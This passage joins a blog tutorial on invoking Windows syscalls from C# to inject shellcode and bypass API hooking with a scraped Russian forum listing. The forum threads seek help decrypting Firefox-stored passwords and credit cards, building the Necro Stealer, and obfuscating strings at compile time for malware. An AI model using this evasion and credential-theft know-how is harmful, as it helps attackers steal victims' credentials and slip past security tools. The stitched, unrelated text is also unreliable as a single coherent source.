Lastly, I needed to find documentation for NtWaitForSingleObject, which as you might guess, is the native API called by WaitForSingleObject. You’ll notice a theme where many native API calls are prefaced with “Nt”, which makes mapping them from Win32 calls easier. You may also see the prefix “Zw”, which is also a native API call, but normally called from the kernel. These are sometimes identical, which you will see if you do x ntdll!ZwWaitForSingleObject and x ntdll!NtWaitForSingleObject in WinDbg. Again we get lucky with this API, as [ZwWaitForSingleObject](https://docs.microsoft.com/en-us/windows- hardware/drivers/ddi/ntifs/nf-ntifs-zwwaitforsingleobject) is documented on MSDN.

I want to point out a few other good sources of information for mapping Win32 to native API calls. First is the source code for ReactOS, which is an open source reimplementation of Windows. The Github mirror of their codebase has lots of syscalls you can search for. Next is SysWhispers, by jthuraisamy. It’s a project designed to help you find and implement syscalls. Really good stuff here. Lastly, the tool API Monitor. You can run a process and watch what APIs are called, their arguments, and a whole lot more. I didn’t use this a ton, as I only needed 3 syscalls and it was faster to find existing documentation, but I can see how useful this tool would be in larger projects. I believe ProcMon from Sysinternals has similar functionality, but I didn’t test it out much.

Ok, so we have our Win32 APIs mapped to our syscalls. Let’s write some C#!

But these docs are all for C/C++! And isn’t that assembly over there…

Wait a minute, these docs all have C/C++ implementations. How do we translate them into C#? The answer is [marshaling](https://docs.microsoft.com/en- us/dotnet/framework/interop/marshaling-data-with-platform-invoke). This is the essence of what P/Invoke does. Marshaling is a way of making use of unmanaged code, e.g. C/C++, and using in a managed context, that is, in C#. This is easily done for Win32 APIs via P/Invoke. Just import the DLL, specify the function definition with the help of pinvoke.net, and you’re off to the races. You can see this in the demo code of Win32Injector. But since syscalls are undocumented, Microsoft does not provide such an easy way to interface with them. But it is indeed possible, through the magic of delegates. Jack Halon covers delegates really well here and here, so I won’t go too in depth in this post. I would suggest reading those posts to get a good handle on them, and the process of using syscalls in general. But for completeness, delegates are essentially function pointers, which allow us to pass functions as parameters to other functions. The way we use them here is to define a delegate whose return type and function signature matches that of the syscall we want to use. We use marshaling to make sure the C/C++ data types are compatible with C#, define a function that implements the syscall, including all of its parameters and return type, and there you have it!

Not quite. We can’t actually call a native API, since the only implementation of it we have is in assembly! We know its function definition and parameters, but we can’t actually call it directly the same way we do a Win32 API. The assembly will work just fine for us though. Once again, it’s rather simple to execute assembly in C/C++, but C# is a little harder. Luckily we have a way to do it, and we already have the assembly from our WinDbg adventures. And don’t worry, you don’t really need to know assembly to make use of syscalls. Here is the assembly for the NtAllocateVirtualMemory syscall:

05-assembly-NtAllocateVirtualMemory.PNG

As you can see from the comments, we’re setting up some arguments on the stack, moving our syscall number into the eax register, and using the magic syscall operator. At a low enough level, this is just a function call. And remember how delegates are just function pointers? Hopefully it’s starting to make sense how this is fitting together. We need to get a function pointer that points to this assembly, along with some arguments in a C/C++ compatible format, in order to call a native API.

Putting it all together

So we’re almost done now. We have our syscalls, their numbers, the assembly to call them, and a way to call them in delegates. Let’s see how it actually looks in C#:

08-code-NtAllocateVirtualMemory.PNG

Starting from the top, we can see the C/C++ definition of NtAllocateVirtualMemory, as well as the assembly for the syscall itself. Starting at line 38, we have the C# definition of NtAllocateVirtualMemory. Note that it can take some trial and error to get each type in C# to match up with the unmanaged type. We create a pointer to our assembly inside an unsafe block. This allows us to perform operations in C#, like operate on raw memory, that are normally not safe in managed code. We also use the fixed keyword to make sure the C# garbage collector does not inadvertently move our memory around and change our pointers. Once we have a raw pointer to the memory location of our shellcode, we need to change its memory protection to executable so it can be run directly, as it will be a function pointer and not just data. Note that I am using the Win32 API VirtualProtectEx to change the memory protection. I’m not aware of a way to do this via syscall, as it’s kind of a chicken and the egg problem of getting the memory executable in order to run a syscall. If anyone knows how to do this in C#, please reach out! Another thing to note here is that setting memory to RWX is generally somewhat suspicious, but as this is a POC, I’m not too worried about that at this point. We’re concerned with hooking right now, not memory scanning!

Now comes the magic. This is the struct where our delegates are declared:

11-code-delegates.PNG
Note that a delegate definition is just a function signature and return type. The implementation is up to us, as long as it matches the delegate definition, and it’s what we’re implementing here in the C# NtAllocateVirtualMemory function. At line 65 above, we create a delegate named assembledFunction, which takes advantage of the special marshaling function [Marshal.GetDelegateForFunctionPointer](https://docs.microsoft.com/en- us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8#System_Runtime_InteropServices_Marshal_GetDelegateForFunctionPointer_System_IntPtr_System_Type_). This method allows us to get a delegate from a function pointer. In this case, our function pointer is the pointer to the syscall assembly called memoryAddress. assembledFunction is now a function pointer to an assembly language function, which means we’re now able to execute our syscall! We can call assembledFunction delegate like any normal function, complete with arguments, and we will get the results of the NtAllocateVirtualMemory syscall. So in our return statement we call assembledFunction with the arguments that were passed in and return the result. Let’s look at where we actually call this function in Program.cs:

13-code-NtAllocateMemory-call.PNG

Here you can see we make a call to NtAllocateMemory instead of the Win32 API VirtualAlloc that Win32Injector uses. We setup the function call with all the needed arguments (lines 43-48) and make the call to NtAllocateMemory. This returns a block of memory for our shellcode, just like VirtualAlloc would!

The remaining steps are similar:

14-code-remaining-calls.PNG

We copy our shellcode into our newly-allocated memory, and then create a thread within our current process pointing to that memory via another syscall, NtCreateThreadEx, in place of CreateThread. Finally, we start the thread with a call to the syscall NtWaitForSingleObject, instead of WaitForSingleObject. Here’s the final result:

15-code-hello-world-syscall.PNG

Hello world via syscall! Assuming this was some sort of payload running on a system with API hooking enabled, we would have bypassed it and successfully run our payload.

A note on native code

Some key parts of this puzzle I’ve not mentioned yet are all of the native structs, enumerations, and definitions needed for the syscalls to function properly. If you look at the screenshots above, you will see types that don’t have implementations in C#, like the NTSTATUS return type for all the syscalls, or the AllocationType and ACCESS_MASK bitmasks. These types are normally declared in various Windows headers and DLLs, but to use syscalls we need to implement them ourselves. The process I followed to find them was to look for any non-simple type and try to find a definition for it. Pinvoke.net was massively helpful for this task. Between it and other resources like MSDN and the ReactOS source code, I was able to find and add everything I needed. You can find that code in the Native.cs class of the solution here.

Wrapup

Syscalls are fun! It’s not every day you get to combine 3 different languages, managed and unmanaged code, and several levels of Windows APIs in one small program. That said, there are some clear difficulties with syscalls. They require a fair bit of boilerplate code to use, and that boilerplate is scattered all around for you to find like a little undocumented treasure hunt. Debugging can also be tricky with the transition between managed and unmanaged code. Finally, syscall numbers change frequently and have to be customized for the platform you’re targeting. D/Invoke seems to handle several of these issues rather elegantly, so I’m excited to dig into those more soon.

Source: https://www.solomonsklash.io/syscalls-for-shellcode-injection.html

Посмотреть за завтраком/обедом/ужином или на фоне
ID: 6765d804b4103b69df375a2e
Thread ID: 34570
Created: 2020-01-24T14:33:20+0000
Last Post: 2020-09-01T05:18:32+0000
Author: PlebsoVata
Prefix: Статья
Replies: 1 Views: 2K

Даю небольшой список каналов на ютубе, которые можно смотреть, параллельно кушая или просто на фон.
Большинство этих каналов на английском, но в конце статьи есть и отечественные.
На всех каналах видео в основном только по С++.
Сразу скажу, что эти видео не научут ничему гениально, разве что могут подкинуть какую-нибудь идею и могут быть очень полезны новичкам, которым лень что-либо читать и они любят смотреть и/или слушать.

  1. Jason Turner - https://www.youtube.com/user/lefticus1/videos
    Еженедельные видео про С++ по 5-10 минут, иногда больше, в основном про модерн фичи языка.
    У него узнал о двух полезных сайтах:

![godbolt.org](/proxy.php?image=https%3A%2F%2Fgithub.com%2Fcompiler- explorer%2Finfra%2Fblob%2Fmain%2Flogo%2Ffavicon.png%3Fraw%3Dtrue&hash=58090ab3141d5fe9d67780c7cf2b24d3&return_error=1)

Compiler Explorer

Compiler Explorer is an interactive online compiler which shows the assembly output of compiled C++, Rust, Go (and many more) code.

godbolt.org godbolt.org

![quick-bench.com](/proxy.php?image=https%3A%2F%2Fquick- bench.com%2Fico%2Fquickbench- card.png&hash=f72a056deaaa173b81374723fb483c70&return_error=1)

Quick C++ Benchmarks

Quickly benchmark C++ runtimes

![quick-bench.com](/proxy.php?image=http%3A%2F%2Fquick- bench.com%2Fico%2Ffavicon-32x32.png&hash=3703b3986e429580c691fac44879ba67&return_error=1) quick-bench.com

  1. CopperSpice - <https://www.youtube.com/channel/UC- lNlWEq0kpMcThO-I81ZdQ/videos>
    На канале не очень много видео по +-20 минут, также про модерн фичи языка

  2. CppCon - https://www.youtube.com/channel/UCMlGfpWw-RUdWX_JbLCukXg
    Записи конференций. Много полезного и бесполезного, так что надо тщательней выбирать, больше подходит для фона.

  3. JUCE/ADC - https://www.youtube.com/channel/UCaF6fKdDrSmPDmiZcl9KLnQ/videos
    Канал с запимями конференций ADC(Audio developer conference).
    Большинство видео посвящены всему что связано с разработкой аудио-плагинов и аудио в принципе.
    Как по мне очень полезный канал, особенно для тех, кто хочет влиться в работу с аудио.

  4. emBO++ - https://www.youtube.com/channel/UCg2JbpJ-PGdFUEZEiNr0GWg/videos
    Записи конференции посвященной embedded разработке.

  5. MakingGamesWithBen - https://www.youtube.com/user/makinggameswithben/videos
    Куча С++ и графики

  6. Guided Hacking - https://www.youtube.com/user/L4DL4D2EUROPE/videos
    Базовые аспекты работы с cheat engine, hooking, signature scanning, manual mapping.
    Также там пишутся маленькие читы.
    В основном все на С++, есть чуть-чуть С#

  7. The Cherno - https://www.youtube.com/channel/UCQ-W1KE9EYfdxhL6S4twUNw
    Сам я его не смотрю, но кто-то наверняка может найти что-то для себя у него.

  8. What's a Creel? - https://www.youtube.com/user/WhatsACreel/videos
    Много видео по x64 assembly, есть С++ для новичков, чуть-чуть видео по графике и нейронным сетям

  9. ChiliTomatoNoodle - https://www.youtube.com/user/ChiliTomatoNoodle/videos
    Много видео по С++ и DirectX.

  10. Vulkan Tutorial - https://www.youtube.com/playlist?list=PL58qjcU5nk8uH9mmlASm4SFy1yuPzDAH0
    Более 100 видео с гайдами по Vulkan на С++.

  11. ASystemProgramming Channel - https://www.youtube.com/channel/UCsM894fVqnlQTkvvDYLWiSw/videos
    58 видео по базовому winapi для тех кому лень читать документацЫю.

Теперь можно приступить к отечественным каналам, коих я знаю не очень много.

  1. C++ User Group - https://www.youtube.com/channel/UCJ9v015sPgEi0jJXe_zanjA/videos
    Записи конференций C++ Russia/Syberia, лучше тщательней выбирать что смотреть.

  2. corehard - https://www.youtube.com/channel/UCifgOu6ARWbZ_dV29gss8xw
    Также записи конференций

А на этом все, до скорых встреч.

Неразрешенный внешний символ __except1. (libcmt.lib)
ID: 6765d804b4103b69df375a3a
Thread ID: 39865
Created: 2020-07-21T12:19:45+0000
Last Post: 2020-08-06T16:15:38+0000
Author: http2
Replies: 18 Views: 2K

Пробую работать с библиотекой mpack.
Скачал [amalgamation package ](https://github.com/ludocode/mpack/releases/download/v1.0/mpack- amalgamation-1.0.tar.gz)( Версию, в которой только два файла - mpack.c, mpack.h ), отключил все флаги в mpack.h, связанные с использованием стандартной библиотеки си, порезал мусор.
На выходе получаю "LIBCMT.lib(ftol3.obj) : error LNK2001: неразрешенный внешний символ __except1.".
Что я делаю не так?

Why does every C/C++ Ransomware use Win32 API?
ID: 6765d804b4103b69df375a42
Thread ID: 39536
Created: 2020-07-12T10:27:11+0000
Last Post: 2020-07-14T20:40:17+0000
Author: Antrax
Replies: 16 Views: 2K

Hello, my question is why does ransomware use winapi and not standard namespace for c/c++?

Реализация дешифровки кредитных карт Firefox на C++
ID: 6765d804b4103b69df375a43
Thread ID: 39535
Created: 2020-07-12T09:00:55+0000
Last Post: 2020-07-12T10:22:50+0000
Author: tilekvj
Replies: 15 Views: 2K

Чтоб дешифровать пароли фф нужно подгрузить nss3.dll и вызвав методы, дешифровать. Но как дешифровать CC фф? Покопавшийся в исходниках шарпистов понятно, что читается key3.db, из столбца metaData берутся данные "item1" и "item2", после читается столбец "NssPrivate", берется "a102" и "a11" - это вроде спец ключи для дешифровки. И непонятно как дешифровать... У кого есть примерная реализация всего этого на плюсах? или направьте на путь истинный.

ищу IDA для написания java/kotlin для слабых ПК
ID: 6765d804b4103b69df375a46
Thread ID: 39132
Created: 2020-07-01T17:18:10+0000
Last Post: 2020-07-05T16:29:48+0000
Author: DeiTy
Replies: 14 Views: 2K

Hidden content for authorized users.

Вообщем старый ПК ... царство ему небесное .
Временно (скорее всего месяца 3...) мой ПК мягко говоря тостер .
Но успел начать пробовать писать под андроид и забивать на 3 месяца не хочу . От android студии пк почти дымится ., с xamarin (mvs2019) дела немного лучше но не особо .
Есть ли нормальный инструмент который могу временно юзать ? Сейчас думаю над eclipse и Netbeans, они вроде легче ...

Вопрос по поводу WinApi/C++
ID: 6765d804b4103b69df375a48
Thread ID: 37943
Created: 2020-05-31T13:11:46+0000
Last Post: 2020-07-01T18:00:35+0000
Author: badsci
Replies: 14 Views: 2K

Парни,нашел сие чудо на просторах интернета.

Hidden content for authorized users.

github.com

[ madcode09/Necro-Stealer ](https://github.com/madcode09/Necro-

Stealer/tree/master/NecroStealer)

☣️ Necro Stealer + Web Panel. Contribute to madcode09/Necro-Stealer development by creating an account on GitHub.

github.com github.com

Боролся и пытался его собрать 2 дня,но безуспешно,код посмотрел,панельку сделал,вообщем ~~разобрался~~ ,НО
В архиве идет 2 .lib файла,которые должны защищать от LNK ошибок,они то меня и преследуют(при сборке Debug,Release тоже,но уже меньше)
Error LNK2001 unresolved external symbol __imp__wnsprintfA,
Error LNK2019 unresolved external symbol imp__wnsprintfW referenced in function "void cdecl doChromium(struct HZIP *,wchar_t const *,unsigned long *,int)" (?doChromium@@YAXPAUHZIP@@PB_WPAKH@Z) и тп.
Также не совсем понимаю для чего автор(не смог найти его,mad-не автор) сделал помимо основного решения еще 2,которые не сильно то и нужны,один связан с sql,другой просто делает скришот. Изначально пришлось выключить проверку SDL из-за srtcpy и подобного "чуда",после этого сразу по вылазили ошибки связанные с ZipAdd,я помашанил и убрал их,потом снова LNK2019,LNK2001...Вообщем,апи я не долго изучаю,прошу вашей помощи,может оценки данного кода
и сложившийся ситуации в целом.Кстати,пытался через external их пофиксить,тоже безуспешно,если добавляю .lib,то ошибок только больше...

Wstring - Кастомная реализация Wchar_t строк на чистом C++
ID: 6765d804b4103b69df375a4a
Thread ID: 38891
Created: 2020-06-26T11:14:01+0000
Last Post: 2020-06-27T14:04:11+0000
Author: X-Shar
Replies: 10 Views: 2K

Всем привет !

Для чего нужен данный проект:

1)Для создания протекторов, зверьков и если по какой-то причине нужно отказаться от STL и CRT.

2)Также полезно для тех-кто пишит драйвера на уровне ядра.

Что это за проект:

Кастомная реализация работы со строками wchar_t, написана на чистом С++, это означает, что не используются сторонние библиотеки в частности STL и либси.
Даже оператор new, был заменен на кастомный алокатор.)))

Итак, что умеет данный класс:

1)Удобное сравнение строк в условных операторах (<,>,==).

2)Удобное создание строк, пример:

Wstring s = L" Тестовая Строка. ";

3)Сложение строк:

Wstring test1 = s1 + s2 + s3;

4)Разделение строки на лексемы (Метод split), как использовать:

4.1)Создаете массив строк, в который будут помещены лексемы:

Wstring test_split[10];

//Для наглядности тестовая строка:
Wstring tested_str = L"Test1|Test2|Test3|Test4|Test5";

4.2)Вызываете метод split,с необходимыми параметрами (Описание параметров ниже):

tested_str.split((wchar_t*)L"|", test_split, 10, &count_splited);

Описание параметров:

(wchar_t*)L"|" - Делитель.

test_split - Массив, куда будут помещены итоговые строки.

10 - Размер массива.

count_splited - Число полученных строк.

Все в test_split, будут итоговые строки.)))

5)Метод c_wstr() - Получение указателя на wchar_t.

6)Метод c_str() - Получение указателя на char. Т.е. конвертация wchar_t* в char*.
ВАЖНО, после получения такого указателя, его нужно освободить вручную, вызвав hFree.

7)Метод Find, выполняет поиск подстроки в строке.

Возвращает позицию искомой строки.

Пример:

Wstring test_find = L"This is an awesome fun project. Let's do this again.";
size_t npos = test_find.Find(L"awesome");

8)Метод numeric_to_wstr - Конвертирует число в строку.

Пример:

//Тест конвертации числа в строку
uint32_t npos = 55;
Wstring Position_str = L"\0";
Position_str = Position_str.numeric_to_wstr(npos);

Описание проекта:

Wstring.cpp - Основная реализация класса.

Helpers.cpp - Кастомная реализация работы со строками из либ. си.

Test.cpp - Тестовые примеры, как работать.

Release/Wstring.exe - Собранный проект.

Ссылка на гитхаб:https://github.com/XShar/Custom_Wchar_String

LoadLibrary
ID: 6765d804b4103b69df375a4d
Thread ID: 38201
Created: 2020-06-07T08:07:29+0000
Last Post: 2020-06-26T10:15:54+0000
Author: return
Replies: 14 Views: 2K

Как получить функции из динамической библиотеки nss3.dll
Интересуют именно эти
NSS_Init;
PL_Base64Decode;
PK11SDR_Decrypt;
PK11_Authenticate;
PK11_GetInternalKeySlot;
PK11_FreeSlot.
Желательно пример с кодом.

Как реализовать коннект софта (c#) с сервером (php)
ID: 6765d804b4103b69df375a51
Thread ID: 37412
Created: 2020-05-16T23:57:16+0000
Last Post: 2020-06-19T19:06:49+0000
Author: DeiTy
Replies: 11 Views: 2K

Hidden content for authorized users.

Ребят , возможно глупый вопрос но опыта подобного нету .
Допустим есть софт на шарпе , при первом запуске он посылает уникальный ключ на сервер и заносится в базу . Так я смотрю сколько копий софта было активировано / запущенно
Но как мне понять какие копии сейчас онлайн (запущенны) ?
(надеюсь смог донести суть вопроса)

Мета-программирование С++ и обфускация
ID: 6765d804b4103b69df375a54
Thread ID: 38409
Created: 2020-06-13T16:21:15+0000
Last Post: 2020-06-13T16:38:26+0000
Author: yashechka
Prefix: Статья
Replies: 1 Views: 2K

Здравствуйте, друзья, это - моя первая статья на Wasm'е, не судите строго. Надеюсь она же станет первой статьей в цикле, в котором я рассмотрю возможности мета-программирования разных ЯП и компиляторов применительно к обфускации кода. Первым пациентом у нас будет великий и могучий, ненавидимый многими программистами по всему миру, прородитель buffer overflow и use after free багов - добрый дядька С++.

Когда то очень давно, а именно в 2013 году, когда в компиляторы С++ начали завозить constexpr, я экспериментировал с применением мета-программирования для обфускации кода и даже сподобился выкатить более менее рабочий вариант (интернет все помнит, если хотите можете погуглить), который в итоге попал в сорсы какого-то несуразного банкинг бота, поэтому позвольте на всякий случай сделать небольшой дисклеймер. Код из этой статьи предоставляется исключительно в целях обучения, пожалуйста не считайте, что я несу ответственность за любое использование этого кода, нарушающее действующие законы вашего государства. Ведь господина Калашникова не судят за убийства из его автомата, а вилки не делают людей жирными. Спасибо.

Как и в прошлый раз для компиляции кода я буду использовать GCC/MinGW, чтобы описанные алгоритмы можно было бы использовать не только на Венде, но и на Линуксе. Поскольку подавляющее большинство из вас сидит на Венде (чисто по статистике), то и примеры мы будем разбирать на Венде. Использовать мы будем версию компилятора 9.2.0, она достаточно свежая на момент написания статьи. Чисто теоретически приведенный ниже код может быть использован так же и в MSVC и Clang, но я не тестил, извиняйте. Под Линуксом соответствующая версия компилятора наверняка есть в списке пакетов вашего дистрибутива (даже если нет, раз вы сидите на Линуксе, я уверен вы в состоянии сами разобраться, как его туда поставить). На Венде можно скачать и поставить его с помощью MSYS2, или tdm-gcc, или mingw-w64-dgn. И это не будет десятки гигабайт трафика и несколько часов потерянного за инсталляцией времени (MSVC, я тебя имею ввиду), я вас уверяю. Ну с преамбулами закончили, пошли скорее кодить.

Начнем с простого хелоу ворлда, чтобы я мог рассказать вам о том, как мы будем все собирать. Итак мы будем собирать код без зависимости от стандартных библиотек сишечки и плюсов, чтобы нам в дизассемблере было сразу видно, что и где находится. Напишем хеллоу ворлд:

C++:Copy to clipboard

#include <windows.h>
#include <stdint.h>
#include <stdio.h>

extern "C" void EntryPoint() {
    _printf_l("Hello World!\n", 0);
    ExitProcess(0);
}

Мы будем использовать _printf_l для вывода сообщений в консоль вместо стандартного printf, так как printf переопределен в стандартной библиотеке, а _printf_l доступен в msvcrt.dll. ExitProcess мы вызываем, тк нам нужно корректно завершить процесс (при обычной сборке ExitProcess за нас вызовет стандартная библиотека, но нам в данном случае важнее незагруженность исполняемого файла, и да, мы же не ищем легких путей). Теперь напишем батничек для сборки и тестирования:

Code:Copy to clipboard

del /f /q main32.exe
del /f /q main64.exe
i686-w64-mingw32-g++   -o main32.exe -masm=intel -O3 -Os -fno-exceptions -fno-rtti -fno-ident main.cpp -nostdlib -e_EntryPoint -s -lkernel32 -lmsvcrt
x86_64-w64-mingw32-g++ -o main64.exe -masm=intel -O3 -Os -fno-exceptions -fno-rtti -fno-ident main.cpp -nostdlib -eEntryPoint  -s -lkernel32 -lmsvcrt
main32.exe
main64.exe

Первые две и последние две строчки батника должны быть ясны, мы просто удаляем артефакты предыдущей сборки вначале и запускаем новые артефакты сборки в конце для удобства тестирования. Теперь к более сложному, мы используем i686-w64-mingw32-g++ для создания 32-битной версии нашего кода и x86_64-w64-mingw32-g++ соответственно для 64-битной версии. Параметр «-о» указывает название исполняемого файла, который мы хотим собрать. Параметр «-masm=intel» указывает компилятору, что мы хотим использовать ассемблер в интеловском синтаксе (потому, что читать AT&T – адская мука для глаз), в статье нам это не понадобится, но если вы захотите посмотреть, какой ассемблерный код генерирует компилятор или сделать ассемблерную вставочку, то этот параметр окажется полезным. «-O3 -Os» включают оптимизацию, нам же нужно проверить, что компилятор не соптимизировал всю нашу обфускацию в открытый текст. «-fno-exceptions -fno-rtti -fno-ident» отключает использование определенных фич С++, которые требуют стандартных библиотек. «-nostdlib» отключает использование стандартных библиотек. «-e» указывает имя для точки входа исполняемого файла. «-s» вырезает отладочную информацию. «-l» добавляет линковку системной библиотеки Венды, это необходимо, чтобы функции типа ExitProcess появились в таблице импорта.

Для начала сделаем себе простой макрос для вывода сообщения в консоль, чтобы меньше писать в будущем (я думаю, тут должно быть все понятно, самая обычная сишечка):

C++:Copy to clipboard

#define LOG(F, ...) _printf_l(F, 0, ##__VA_ARGS__)

Реализуем функцию для простого (читай не криптографического) хеширования строк на этапе компиляции по алгоритму FNV-1 (очень простой и легко реализуемый алгоритм), но сделаем ему возможность передачи произвольного зерна в параметрах, ну и сделаем его constexpr конечно:

C++:Copy to clipboard

constexpr uint32_t FNVHash(const char* string, uint32_t seed = 0) {
    uint32_t res = seed;
    for(int i = 0; string[i] != '\0'; i++) {
        res = res * 16777619;
        res = res ^ string[i];
    }

    return res;
}

Теперь добавим вот такой код в основную функцию:

C++:Copy to clipboard

LOG("%X\n", FNVHash("Hello World!"));

Посмотрим, что у нас получилось в дизассемблере (32-битный исполняемый файл):

Code:Copy to clipboard

mov  [esp+18h+var_10], 6990D79Dh
mov  [esp+18h+Locale], 0 ; Locale
mov  [esp+18h+Format], offset Format ; "%X\n"
call ds:_printf_l

Как видно из листинга поддержка constexpr в плюсах улучшилась с древних времен, и эта constexpr функция сама по себе делает то, что мы от нее потребовали, то есть хеширует строку на этапе компиляции. И нам с вами теперь не нужно заморачиваться рекурсивной реализацией этой функции, как в прошлый раз. Но моя паранойя в отношении плюсовых компиляторов не дает мне покоя, поэтому таким вот образом мы можем быть уверены, что хеширование все-таки всегда будет происходить на этапе компиляции:

C++:Copy to clipboard

template <uint32_t Const> struct Constantify {
    enum { Value = Const };
};

#define FNVHASH0(STR) Constantify<FNVHash(STR)>::Value

Проверяем использование FNVHASH0 макроса вместо FNVHash (64-битный исполняемый файл):

Code:Copy to clipboard

lea  rcx, Format     ; "%X\n"
mov  r8d, 6990D79Dh
xor  edx, edx        ; Locale
call cs:_printf_l

Так, ну все работает, как надо. Дальше нам каким-то образом нужно получить зерно (мы будем использовать целое 32-битное число) для генераторов псевдослучайных значений, чтобы в последствии при каждой новой сборке проекта наши алгоритмы делали что-то по-разному - ну, например, меняли ключи. Можно передавать это число параметром компиляции или же взять значение констант DATE и TIME. Напишем вариант с использованием констант:

C++:Copy to clipboard

#define GET_COMPILE_SEED Constantify<FNVHash(__DATE__ __TIME__)>::Value

Проверим написанный макрос и убедимся, что при каждой последующей сборке проекта мы имеем разное зерно, добавив следующий код в основную функцию программы:

C++:Copy to clipboard

LOG("%X\n", GET_COMPILE_SEED);

Теперь мы можем наконец написать макрос для хеширования строк на этапе компиляции с зависимостью от зерна текущей сборки проекта:

C++:Copy to clipboard

#define FNVHASH(STR) Constantify<FNVHash(STR, GET_COMPILE_SEED)>::Value

Убедившись, что макрос работает правильно, сделаем небольшое лирическое отступление. Некоторые из читателей этой статьи наверное недоумевают, зачем в принципе нужно хешировать строки на этапе сборки проекта? Я расскажу вам несколько use case'ов. Допустим, что вам нужно проверить некоторую строку, которую вы получили из пользовательского ввода, на равенство некой уникальной строке (паролю например), и вы очень не хотите, чтобы мамкины крякеры могли, открыв ваш исполняемый файл дизассемблером, увидеть эту уникальную строку. Так вот хеширование - более менее неплохой выход. Но чтобы не хардкодить хеш- значение, его можно вычислить на этапе компиляции, более того в той реализации, что я уже показал вам, хеш-значение не будет постоянным и будет меняться при каждой пересборке проекта. Другой пример более популярен в малвари, чем в легитимном ПО, но иногда все же используется и там, это - динамический вызов API по хеш-значениям их имен. Как реализовывать такие вызовы на практике выходит за рамки этой статьи, но в интернете есть куча примеров, с этим вопросом пожалуйте в гугл.

Теперь напишем генератор псевдослучайных чисел, работающий на этапе компиляции. Важно отметить, что нам собственно не особо важны его свойства с точки зрения математики, нам достаточно, чтобы он генерировал хоть какие-то псевдослучайные числа. Поэтому я не стал запариваться рекурсивной реализацией, как в прошлый раз, и реализовал его через макрос COUNTER. Константы взяты из линейного конгруэнтного алгоритма, который использовался раньше в glibc (привет красноглазикам). Ну в общем смотрим код:

C++:Copy to clipboard

constexpr uint32_t Rand(uint32_t cnt) {
    cnt = cnt + GET_COMPILE_SEED;
    return cnt * 1103515245 + 12345;
}

#define RAND() Constantify<Rand(__COUNTER__)>::Value
#define RANDOM(MIN, MAX) (MIN + (RAND() % (MAX - MIN + 1)))

Опять же для тех читателей, кто не понимает зачем все это. В частности это можно использовать для генерации мусорного кода, но это уже совсем другая история, я же статью пишу, а не книгу, верно?

Так теперь переходим к самому, наверное, интересному, реализуем шифрование строк на этапе компиляции, тем более, что все нужное для этого у нас уже реализовано. Ну как к шифрованию, в текущем примере мы просто поксорим строку, ну а в продакшн коде само собой надо что-то поинтереснее придумать. Для начала сделаем вычисление длины строки на этапе компиляции, тут все просто:

C++:Copy to clipboard

constexpr uint32_t Strlen(const char* string) {
    uint32_t res = 0;
    for(int i = 0; string[i] != '\0'; i++)
    { res++; }

    return res;
}

#define STRLEN(STR) Constantify<Strlen(STR)>::Value

Далее нам бы хотелось, чтобы весь сгенерированный код для конструирования и расшифровки строки был заинлайнен, поэтому добавим соответствующий макрос (этот макрос для GCC/MinGW, я не в курсе, как аналогичный атрибут называется в MSVC и Clang, возможно forceinline или что-то такое):

C++:Copy to clipboard

#define ALWAYS_INLINE __attribute__((always_inline))

Далее я сделаю небольшое лирическое отступление. Раньше приходилось сильно изворачиваться, чтобы обходить строку посимвольно на этапе компиляции. Все это потому, что шипко гениальные создатели плюсов сделали язык шаблонов полным по тьюрингу, но чисто функциональным. Это как писать на Haskell, но в еще более отвратительном синтаксисе. То есть этот код чуть более чем полностью должен состоять из чистых функций, не способных хранить состояние. В частности, из-за этого нельзя было реализовать какой-то цикличный алгоритм, а приходилось реализовывать все через рекурсию. К счастью до нас наконец доехали нормальные constexpr и комьюнити все-таки сподобилось придумать более-менее простой способ обхода строки на этапе компиляции, хоть и все равно рекурсивный. Давайте рассмотрим следующий код:

C++:Copy to clipboard

template <size_t Index> struct Encryptor {
    ALWAYS_INLINE static constexpr void Encrypt(char* dst, const char* src, char key)
    { dst[Index] = src[Index] ^ key; Encryptor<Index - 1>::Encrypt(dst, src, key); }
};

template <> struct Encryptor<0> {
    ALWAYS_INLINE static constexpr void Encrypt(char* dst, const char* src, char key)
    { dst[0] = src[0] ^ key; }
};

Знакомьтесь, это – рекурсивный шаблон, который обходит строку с последнего индекса и доходит до индекса 0. Шаблон сверху принимает аргумент – индекс в строке, который нужно зашифровать, и вызывает шаблон с индексом меньше на единицу. Шаблон снизу – это так называемый base case, который нужен, чтобы обработать нулевой символ и остановить рекурсию. Без него рекурсия бы продолжалась бесконечно долго (потому, что после нулевого индекса алгоритм перешел к минус первому). Хотя что я вам объясняю про рекурсию, вы наверняка уже все это знаете.

Теперь давайте используем шаблоны Encryptor для шифрования строк. Мы будем оборачивать строки в шаблонный по количеству элементов в строке класс, чтобы компилятор выделил для нас и строки буфер на стеке. Рассмотрим следующий код:

C++:Copy to clipboard

template <size_t Size> class EncryptedString {
    mutable char _buffer[Size];
    const   char _key;

    public:
        ALWAYS_INLINE constexpr EncryptedString(const char string[Size], char key) : _key { key }
        { Encryptor<Size - 1>::Encrypt(_buffer, string, _key); }

        ALWAYS_INLINE const char* Decrypt() {
            for(int i = 0; i < Size; i++)
            { _buffer[i] ^= _key; }

            return _buffer;
        }
};

Мы реализуем шифрование строки на этапе компиляции в конструкторе класса, выделяем класс на стеке, и затем вызываем метод Decrypt, который проведет расшифровку буфера и вернет его адрес на стеке. Давайте рассмотрим код макроса, упрощающего это действо (обратите внимание, что у каждой строки будет свой псевдослучайный ключ для нашего "псевдо-шифрования"):

C++:Copy to clipboard

#define ENCRYPT_STRING(STR) EncryptedString<STRLEN(STR) + 1>(STR, (char)RANDOM(1, 0xFF)).Decrypt()

Протестируем, что у нас получилось следующим кодом:

C++:Copy to clipboard

LOG("%s\n", ENCRYPT_STRING("HELLO"));

И посмотрим на результат в дисассемблере:

Code:Copy to clipboard

; 32-битный код:
mov  [ebp+var_F], 97979E93h
lea  eax, [ebp+var_F]
lea  ecx, [ebp+var_9]
mov  [ebp+var_B], 0DB94h
mov  edx, eax
mov  [ebp+var_9], 0DBh
loc_40101F:
xor  byte ptr [eax], 0DBh
inc  eax
cmp  eax, ecx
jnz  short loc_40101F

; 64-битный код:
mov  [rsp+38h+var_9], 9Fh
lea  rax, [rsp+38h+var_F]
lea  rdx, [rsp+38h+var_9]
mov  [rsp+38h+var_F], 0D3D3DAD7h
mov  r8, rax
mov  [rsp+38h+var_B], 9FD0h
loc_401025:
xor  byte ptr [rax], 9Fh
inc  rax
cmp  rax, rdx
jnz  short loc_401025

